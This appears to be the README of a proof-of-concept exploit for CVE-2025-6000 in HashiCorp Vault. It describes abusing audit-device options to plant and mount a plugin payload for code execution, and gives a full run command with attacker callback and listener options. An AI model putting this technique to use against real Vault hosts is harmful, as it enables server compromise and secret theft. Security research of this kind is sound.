
Proof-of-concept exploit for CVE-2025-6000, a privilege escalation to RCE in HashiCorp Vault audit backends, allowing arbitrary code execution with a root token.
Proof-of-concept for CVE-2025-6000, a privilege-escalation-to-RCE flaw in
HashiCorp Vault's audit backends. The audit device lets a privileged caller
control the prefix, file_path, and mode options with no validation. By
writing an executable payload into Vault's plugin_directory, then registering
and mounting it as a plugin, an attacker with a root token can run arbitrary
code on the Vault host.
https://github.com/user-attachments/assets/f8d6c90a-b511-4e96-8e4d-718c7a765601
plugin_directory configured.sys/audit, sys/plugins,
sys/mounts).python3 CVE-2025-6000.py <vault-host> <vault-port> --token <root-token> \
--socket-addr <ip:port Vault dials> \
--listen-port 9861 \
--callback-host <your-ip> --callback-port 8000 \
--cleanup
--socket-addr — address Vault dials for the audit stream (your VPN IP:port
or an ngrok TCP endpoint).--listen-port — local port the capture server binds.--callback-host / --callback-port — HTTP endpoint used to confirm
execution.--cleanup — remove the audit devices, plugin, and mount at the end.If capture fails, the script falls back to a manual SHA256 prompt. Run -h for
all options.
For authorized security testing, research, and education only. Use only against systems you own or have explicit written permission to test. You are solely responsible for your use of this software; the authors accept no liability for misuse or damage. Unauthorized access to computer systems is illegal.
MIT — see LICENSE.